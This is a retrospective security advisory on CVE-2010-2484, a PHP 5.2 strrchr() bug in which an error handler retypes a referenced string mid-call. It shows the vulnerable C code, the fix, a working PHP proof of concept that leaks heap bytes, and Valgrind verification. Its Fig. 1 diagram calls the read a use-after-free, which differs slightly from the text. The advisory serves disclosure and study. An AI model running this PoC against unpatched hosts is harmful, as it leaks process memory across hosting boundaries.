   
                                         
                
                  
                    
                                                                                        
                                                                                                                                                                                                                    
                  
                     
           
                                                                 
                                                                             
     
          
                    
                                               
          
                                  
                                  
                                
                                  
                                    
                           
                              
                                                                                                                                                                                                                                                                                                                                                                 
    
                 
            
                   
                   
            
                     
                         
            
                           
               
            
                 
                          
            
                            
                      
            
                        
                
            
                  
                  
            
                               
                 
            
                                
   
<h2 id="summary" data-section-number="§1">Summary</h2>

The `strrchr()` function in PHP 5.2's standard library accepted its arguments as live `zval **` pointers. It converted the `needle` argument after accepting a by-reference `haystack`. If the `needle` conversion raised a warning, a user-defined error handler could run in the middle of the C function and mutate the referenced `haystack` variable — for example by replacing the original string with an array via `parse_str()`.

After the handler returned, `strrchr()` continued and read `Z_STRVAL_PP(haystack)` / `Z_STRLEN_PP(haystack)` from a zval that attacker code had just retyped. The subsequent backwards search read from stale or nonsensical heap state, yielding an information leak of adjacent heap content and, depending on layout, a memory-corruption primitive.

> [!DANGER: Affected]
> The verified `strrchr()` PoC affects PHP **5.2.x prior to 5.2.14**. It reproduces on **PHP 5.2.13** and does **not** reproduce on **PHP 5.3.2** as written. PHP 5.3.2 remains relevant to the broader userspace-interruption family, especially CVE-2010-2191, but this exact `strrchr()` bug is a PHP 5.2 branch issue. Patched in **5.2.14**, released 2010-07-22. Backport commit `01149527a9` by Felipe Pena, 2010-07-01.

<h2 id="bug-class" data-section-number="§2">Bug class</h2>

This vulnerability is a member of the **userspace interruption** class formalized by Stefan Esser in his Black Hat USA 2009 paper *State of the Art Post Exploitation in Hardened PHP Environments* and explored exhaustively in the Month of PHP Security 2010 campaign. The class encompasses any internal C function that:

1. Caches a raw pointer derived from a parameter zval (typically via `Z_STRVAL_P`, `Z_ARRVAL_P`, or a hash-table bucket pointer);
2. Invokes a code path that can transitively execute attacker-supplied PHP code — including error handlers, `__toString`, `__destruct`, `__sleep`, `__wakeup`, output buffering callbacks, comparison callbacks, or iterator methods;
3. Continues to dereference the cached pointer after step 2, on the assumption that the underlying allocation has not changed.

The PHP team had patched the `ZEND_CONCAT` / `ZEND_ASSIGN_CONCAT` opcodes and several library functions (`parse_str`, `preg_match`, `unpack`, `pack`, `ArrayObject::uasort`) under CVE-2010-2191 in May 2010. This report identified `strrchr()` as a previously-unreported member of the same class.

<h2 id="vulnerable-code" data-section-number="§3">Vulnerable code</h2>

`ext/standard/string.c`, `PHP_FUNCTION(strrchr)`, prior to PHP 5.2.14:

```c {12,19-22}
PHP_FUNCTION(strrchr)
{
    zval **haystack, **needle;
    char *found = NULL;
    long found_offset;

    if (ZEND_NUM_ARGS() != 2 ||
        zend_get_parameters_ex(2, &haystack, &needle) == FAILURE) {
        WRONG_PARAM_COUNT;
    }

    convert_to_string_ex(haystack);   /* can call __toString() */

    if (Z_TYPE_PP(needle) == IS_STRING) {
        found = zend_memrchr(Z_STRVAL_PP(haystack),
                             *Z_STRVAL_PP(needle),
                             Z_STRLEN_PP(haystack));
    } else {
        convert_to_long_ex(needle);   /* user error handler can run here */
        found = zend_memrchr(Z_STRVAL_PP(haystack),     /* stale read */
                             (char) Z_LVAL_PP(needle),
                             Z_STRLEN_PP(haystack));
    }

    if (found) {
        found_offset = found - Z_STRVAL_PP(haystack);
        RETURN_STRINGL(found, Z_STRLEN_PP(haystack) - found_offset, 1);
    } else {
        RETURN_FALSE;
    }
}
```

In the original trigger, `haystack` is a string passed by reference and `needle` is an object. The call to `convert_to_long_ex(needle)` raises the warning `Object of class stdClass could not be converted to int`. A user-defined error handler runs before `strrchr()` resumes and can rebind the referenced `haystack` variable to another type. When control returns to C, the function still reads through the original `haystack` parameter pointer and calls `zend_memrchr()` using `Z_STRVAL_PP(haystack)` and `Z_STRLEN_PP(haystack)`, even though the zval has been changed underneath it.

The result returned to the caller is not a slice of the original `"AAAA..."` string. On PHP 5.2.13 it is a string built from stale or reinterpreted heap state — typically bytes from allocator metadata, zvals, hash table buckets, or nearby PHP-managed allocations. This exposes internal heap layout and can defeat process-internal hardening assumptions needed for follow-on exploitation.

<h2 id="patch" data-section-number="§4">Patch</h2>

Commit `01149527a962c0b322d6b3b700375e8e96c3db4b`:

```diff {7-9}
--- a/ext/standard/string.c
+++ b/ext/standard/string.c
@@ -2116,6 +2116,9 @@ PHP_FUNCTION(strrchr)
                FAILURE) {
                WRONG_PARAM_COUNT;
        }
+       if (PZVAL_IS_REF(*haystack)) {
+               SEPARATE_ZVAL(haystack);
+       }
        convert_to_string_ex(haystack);
```

The remediation forces copy-on-write separation of the haystack zval when it is a reference, before any conversion can occur. After `SEPARATE_ZVAL`, the function holds an independent copy of the zval. User code running from an error handler during `needle` conversion can still modify the caller's variable, but it no longer changes the zval that `strrchr()` continues to inspect.

The same release also patched the identical pattern, on internal audit, in the following functions: `strchr()` (alias for `strstr`), `strstr()`, `substr()`, `chunk_split()`, `strtok()`, `addcslashes()`, `str_repeat()`, and `trim()`.

> Fixed a possible interruption array leak in strrchr(). Reported by Péter Veres. (CVE-2010-2484)
>
> — PHP 5.2.14 NEWS

<h2 id="proof-of-concept" data-section-number="§5">Proof of concept</h2>

A minimal demonstration of the primitive on PHP 5.2 before 5.2.14:

```php
<?php
$var = str_repeat("A", 128);

function error()
{
    global $var;
    parse_str("x=1", $var);
}

set_error_handler("error");
print strrchr(&$var, new stdclass);
restore_error_handler();
?>
```

The exploit primitive is an information leak: each successful invocation returns bytes from PHP-managed heap state rather than a valid substring of the original input. By varying the buffer size and surrounding allocations, an attacker can walk adjacent heap regions, defeat ASLR and refcount-based defenses, and stage memory-corruption follow-on exploits as documented in Esser's BH USA 2009 paper.

<figure class="figure" style="margin:32px 0;">
<div class="diagram-wrap">
<svg viewBox="0 75 700 190" width="100%" height="220" style="display:block;" role="img" aria-labelledby="strrchr-diagram-title">
<title id="strrchr-diagram-title">The interruption primitive: cache a pointer, invoke user code, read freed memory</title>
<rect x="20" y="100" width="150" height="70" class="node-rect" rx="2"></rect>
<text x="95" y="130" text-anchor="middle" class="node-label">strrchr()</text>
<text x="95" y="148" text-anchor="middle" class="node-sub">caches Z_STRVAL_PP</text>
<rect x="270" y="100" width="160" height="70" class="node-rect compromised" rx="2"></rect>
<text x="350" y="130" text-anchor="middle" class="node-label">error handler</text>
<text x="350" y="148" text-anchor="middle" class="node-sub">attacker code runs</text>
<rect x="530" y="100" width="150" height="70" class="node-rect" rx="2"></rect>
<text x="605" y="130" text-anchor="middle" class="node-label">heap manager</text>
<text x="605" y="148" text-anchor="middle" class="node-sub">free + reuse buffer</text>
<rect x="270" y="205" width="160" height="50" class="node-rect target" rx="2"></rect>
<text x="350" y="227" text-anchor="middle" class="node-label">zend_memrchr</text>
<text x="350" y="245" text-anchor="middle" class="node-sub">reads freed memory</text>
<path d="M170 135 L270 135" class="edge attack flow" marker-end="url(#arr-r)"></path>
<text x="220" y="125" text-anchor="middle" class="edge-label">convert needle</text>
<path d="M430 135 L530 135" class="edge attack flow" marker-end="url(#arr-r)"></path>
<text x="480" y="125" text-anchor="middle" class="edge-label">$h = 0</text>
<path d="M350 170 L350 205" class="edge attack flow" marker-end="url(#arr-r)"></path>
<text x="395" y="192" text-anchor="middle" class="edge-label" style="fill:var(--rule-red);font-weight:700;">UAF</text>
<defs>
<marker id="arr-r" markerWidth="8" markerHeight="8" refX="7" refY="4" orient="auto">
<path d="M0 0 L8 4 L0 8 z" fill="rgb(228, 12, 50)"></path>
</marker>
</defs>
</svg>
</div>
<figcaption class="diagram-caption"><span class="fnum">Fig. 1</span><span>The interruption primitive. The function accepts a referenced haystack, invokes attacker-controlled error-handler code during needle conversion, and then reads the mutated zval as if it were still the original string.</span></figcaption>
</figure>

<h2 id="verification" data-section-number="§6">Verification</h2>

I rebuilt PHP 5.3.2 and PHP 5.2.13 from the original source tarballs and ran the PoC unchanged.

On PHP 5.3.2:

```text
PHP 5.3.2 (cli)
Zend Engine v2.3.0
```

The exact PoC produced no output and exited normally. A diagnostic wrapper showed:

```text
handler errno=8 msg=Object of class stdClass could not be converted to int before_type=string
handler after_type=array
final_var_type=array
bool(false)
```

Valgrind did not report an invalid or uninitialized read for the exact PoC on PHP 5.3.2. The source explains why: PHP 5.3.2's `strrchr()` uses `zend_parse_parameters("sz", &haystack, &haystack_len, &needle)` and routes non-string needles through `php_needle_char()`. With `new stdclass`, object-to-int conversion fails and the function returns `false` before reaching `zend_memrchr()`.

On PHP 5.2.13:

```text
PHP 5.2.13 (cli)
Zend Engine v2.2.0
```

The same PoC returned non-input heap bytes. A diagnostic wrapper returned:

```text
string(62) "\x01\x00\x00\x00..."
```

Valgrind confirmed the vulnerable path:

```text
Conditional jump or move depends on uninitialised value(s)
    at zend_memrchr
    by zif_strrchr

Syscall param write(buf) points to uninitialised byte(s)
```

So the precise statement is: **this `strrchr()` PoC verifies on PHP 5.2.x before 5.2.14, and does not verify on PHP 5.3.2 as written.** PHP 5.3.2 is still affected by other userspace-interruption bugs covered by CVE-2010-2191, but not by this exact `strrchr()` trigger.

<h2 id="impact" data-section-number="§7">Impact</h2>

The vulnerability is exploitable by any actor capable of executing arbitrary PHP code in the target process — typically:

- Untrusted user code running in a shared-hosting or managed-application context with `disable_functions`, `open_basedir`, `safe_mode` (PHP 5.2 era) intended to prevent process-internal data exfiltration.
- A web application that evaluates partial user input through `eval()` or `unserialize()` paths reaching the vulnerable function.
- A multi-tenant PaaS environment where one tenant's PHP code is expected to be isolated from another's.

In each case the primitive yields information leak across the intended security boundary, and — chained with a memory-corruption follow-on of the same bug class — full code execution at the PHP interpreter privilege level, defeating every PHP-side hardening control.

<h2 id="timeline" data-section-number="§8">Disclosure timeline</h2>

<div class="timeline">
  <ol>
    <li><span class="ts">2010-06-30</span><span><b>Initial report</b> — reported privately to the PHP security response team</span></li>
    <li><span class="ts">2010-07-01</span><span><b>Patch committed</b> — commit 01149527a9 by Felipe Pena</span></li>
    <li class="disclosed"><span class="ts">2010-07-22</span><span><b>Public release in PHP 5.2.14</b> — downstream vulnerability trackers also grouped nearby PHP 5.3.3 interruption fixes in the same release window</span></li>
    <li><span class="ts">2010-07-22</span><span><b>NIST NVD publication of CVE-2010-2484</b></span></li>
    <li><span class="ts">2010-08-24</span><span><b>Apple security update APPLE-SA-2010-08-24-1 (Mac OS X)</b></span></li>
    <li><span class="ts">2010-08</span><span><b>Mandriva advisory MDVSA-2010:139</b></span></li>
    <li><span class="ts">2010-08</span><span><b>Red Hat Bugzilla #619324</b> — downstream advisories for RHEL</span></li>
    <li><span class="ts">2010-11-10</span><span><b>Apple security update APPLE-SA-2010-11-10-1</b></span></li>
  </ol>
</div>

<h2 id="credits" data-section-number="§9">Credits &amp; references</h2>

Discovery and reporting: **Péter Veres**. Patch: Felipe Pena (PHP development team). Bug class formalization and prior art: Stefan Esser. Acknowledged by name in the official PHP 5.2.14 NEWS file. The `strrchr` report triggered an internal audit by the PHP development team that closed the same pattern in eight additional library functions in the same release.

- NVD entry: [CVE-2010-2484](https://nvd.nist.gov/vuln/detail/CVE-2010-2484)
- Ubuntu CVE notes: [CVE-2010-2484](https://ubuntu.com/security/CVE-2010-2484)
- PHP 5.2.14 release notes: [php.net/releases/5_2_14](https://www.php.net/releases/5_2_14.php)
- Patch commit: [php/php-src@01149527a9](https://github.com/php/php-src/commit/01149527a962c0b322d6b3b700375e8e96c3db4b)
- Stefan Esser, *State of the Art Post Exploitation in Hardened PHP Environments*, Black Hat USA 2009.
- Stefan Esser, Month of PHP Security 2010 series (CVE-2010-2191 and related).

<p class="advisory-note">This advisory is a retrospective formalization of a vulnerability disclosed and remediated in 2010. It is published for the historical record and as a reference for the userspace interruption bug class. No re-disclosure of unfixed material is contained herein.</p>
